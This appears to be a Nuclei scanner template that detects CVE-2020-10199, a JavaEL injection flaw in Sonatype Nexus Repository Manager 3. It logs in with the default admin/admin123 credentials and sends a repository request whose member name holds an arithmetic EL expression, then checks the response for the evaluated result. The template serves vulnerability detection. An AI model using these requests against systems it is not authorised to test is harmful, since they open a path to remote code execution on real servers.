65 lines
2.3 KiB
YAML
65 lines
2.3 KiB
YAML
id: CVE-2020-10199
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info:
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name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
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author: rootxharsh,iamnoooob,pdresearch
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severity: high
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description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
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reference:
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- https://twitter.com/iamnoooob/status/1246182773427240967
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- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
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- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
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- http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
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- https://cwe.mitre.org/data/definitions/917.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-10199
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cwe-id: CWE-917
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epss-score: 0.97392
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epss-percentile: 0.99907
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cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: sonatype
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product: nexus
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tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev
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variables:
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username: admin
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password: admin123
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http:
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- raw:
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- |
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POST /service/rapture/session HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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username={{base64(username)}}&password={{base64(password)}}
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- |
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POST /service/rest/beta/repositories/bower/group HTTP/1.1
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Host: {{Hostname}}
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NX-ANTI-CSRF-TOKEN: 1
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Cookie: NX-ANTI-CSRF-TOKEN=1
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Content-Type: application/json
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{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "Member repository does not exist: A9999"
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- type: status
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status:
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- 400
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# digest: 4a0a00473045022100eaaaae2b3fe1bc4a2f2e207b1186e6d441842506ea615179e40d8b993f96436f022039df49b157d9f30759e5d25af817bb6e6395c56d210814410213e4e6b6697db9:922c64590222798bb761d5b6d8e72950 |